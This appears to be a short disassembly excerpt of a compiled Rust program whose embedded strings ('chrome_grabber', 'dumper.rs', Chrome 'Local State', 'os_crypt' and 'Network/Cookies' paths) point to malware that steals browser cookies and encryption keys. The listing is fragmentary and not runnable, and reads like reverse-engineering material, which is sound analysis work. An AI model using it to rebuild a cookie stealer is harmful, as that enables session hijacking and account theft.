add rcx, r15
xor ebx, ebx
mov rbp, rcx
mov esi, edi
jmp 0x14003ea8c
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 8
jmp 0x14003f6cf
lea rcx, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov edx, 8
call fcn.1402d98f4
mov rsi, rax
xor r14d, r14d
jmp 0x14003cd7e
mov rsi, qword [rsp + 0x1e8]
jmp 0x14003f6f8
lea rdx, [rsp + 0x1e0]
mov qword [rdx], 5
lea rcx, [rsp + 0x80]
call fcn.1402ddbec
mov rcx, rax
jmp 0x14003cd33
lea rcx, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov edx, 8
call fcn.1402d99c1
mov rsi, rax
xor r14d, r14d
jmp 0x14003cd4b
lea rcx, str.Overflow_when_calculating_number_of_chunks_in_inputC:Userspc1.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.0_srcdecode.rs
lea r8, [0x1402eaa18]
mov edx, 0x33
call fcn.1402da910
lea rcx, str.Overflow_when_calculating_output_buffer_length
lea r8, [0x1402e4d80]
mov edx, 0x2e
call fcn.1402da910
lea r8, [0x1402e4af0]
xor ecx, ecx
xor edx, edx
call fcn.1402da430
lea r8, [0x1402e4b08]
mov ecx, 1
mov edx, 1
call fcn.1402da430
lea r8, [0x1402e4b20]
mov ecx, 2
mov edx, 2
call fcn.1402da430
lea r8, [0x1402e4b38]
mov ecx, 3
mov edx, 3
call fcn.1402da430
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
call fcn.1402d9f90
lea r8, [0x1402e4c40]
mov rcx, 0xfffffffffffffff8
mov rdx, r12
call fcn.1402da880
lea r8, [0x1402e4c40]
mov rcx, r12
mov rdx, qword [rsp + 0x60]
call fcn.1402da4a0
lea r8, [0x1402e4b50]
mov ecx, 4
mov edx, 4
call fcn.1402da430
lea r8, [0x1402e4b68]
mov ecx, 5
mov edx, 5
call fcn.1402da430
lea r8, [0x1402e4b80]
mov ecx, 6
mov edx, 6
call fcn.1402da430
lea r8, [0x1402e4b98]
mov ecx, 7
mov edx, 7
call fcn.1402da430
lea r8, [0x1402e4bb0]
mov rcx, 0xffffffffffffffe0
xor edx, edx
call fcn.1402da880
lea r8, [0x1402e4bb0]
mov rcx, r15
mov rdx, rbp
call fcn.1402da4a0
movups xmm0, xmmword [rsp + 0x130]
movups xmm1, xmmword [rsp + 0x140]
lea r8, [rsp + 0x80]
movaps xmmword [r8 + 0x10], xmm1
movaps xmmword [r8], xmm0
lea rax, str.srcchrome_grabberdumper.rsUser_Data_Default_Network_Cookies_Default_Network_Cookies_cookies
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__valueinternal_error:_entered_unreachable_code:
lea r9, [0x1402e37a0]
jmp 0x14003f909